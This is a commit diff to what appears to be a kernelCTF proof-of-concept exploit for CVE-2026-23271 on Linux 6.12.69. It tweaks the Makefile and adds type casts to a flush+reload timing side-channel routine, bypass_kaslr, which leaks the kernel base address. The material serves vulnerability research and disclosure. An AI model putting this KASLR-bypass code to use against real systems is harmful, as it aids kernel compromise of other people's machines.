update makefile and exploit

Author: simond67

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/Makefile

@@ -1,12 +1,11 @@
 KERNELXDK_INCLUDE_DIR ?= /usr/local/include
 KERNELXDK_LIB_DIR ?= /usr/lib
 
-CXX = g++
 CXXFLAGS = -O2 -Wall -static -pthread -I. -I$(KERNELXDK_INCLUDE_DIR)
 LDFLAGS = -L$(KERNELXDK_LIB_DIR) -lkernelXDK
 
 exploit: exploit.cpp target_db.kxdb
-	$(CXX) $(CXXFLAGS) -o $@ $< $(LDFLAGS)
+	g++ $(CXXFLAGS) -o $@ $< $(LDFLAGS)
 
 target_db.kxdb:
 	wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

@@ -2589,17 +2589,17 @@ int bypass_kaslr(uint64_t base) {
 		while (1) {
 			uint64_t bases[NUM_TRIALS] = {0};
 
-			for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
+			for (int vote = 0; vote < (int)ARRAY_LEN(bases); vote ++) {
 				size_t times[(END - START) / STEP] = {};
 				uint64_t addrs[(END - START) / STEP];
 
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
+				for (int ti = 0; ti < (int)ARRAY_LEN(times); ti++) {
 					times[ti] = ~0;
 					addrs[ti] = START + STEP * (uint64_t)ti;
 				}
 
 				for (int i = 0; i < 16; i++) {
-				for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
+				for (int ti = 0; ti < (int)ARRAY_LEN(times); ti++) {
 					uint64_t addr = addrs[ti];
 					size_t t = flushandreload((void*)addr);
 					if (t < times[ti]) {
@@ -2610,7 +2610,7 @@ int bypass_kaslr(uint64_t base) {
 
 				uint64_t max = 0;
 				int max_i = 0;
-				for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
+				for (int ti = 0; ti < (int)(ARRAY_LEN(times) - WINDOW_SIZE); ti++) {
 					uint64_t sum = 0;
 					for (int i = 0; i < WINDOW_SIZE; i++) {
 						sum += times[ti + i];
@@ -2625,7 +2625,7 @@ int bypass_kaslr(uint64_t base) {
 			}
 
 			int c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
+			for (int i = 0; i < (int)ARRAY_LEN(bases); i++) {
 				if (c == 0) {
 					base = bases[i];
 				} else if (base == bases[i]) {
@@ -2636,12 +2636,12 @@ int bypass_kaslr(uint64_t base) {
 			}
 
 			c = 0;
-			for (int i = 0; i < ARRAY_LEN(bases); i++) {
+			for (int i = 0; i < (int)ARRAY_LEN(bases); i++) {
 				if (base == bases[i]) {
 					c++;
 				}
 			}
-			if (c > ARRAY_LEN(bases) / 2) {
+			if (c > (int)(ARRAY_LEN(bases) / 2)) {
 				goto got_base;
 			}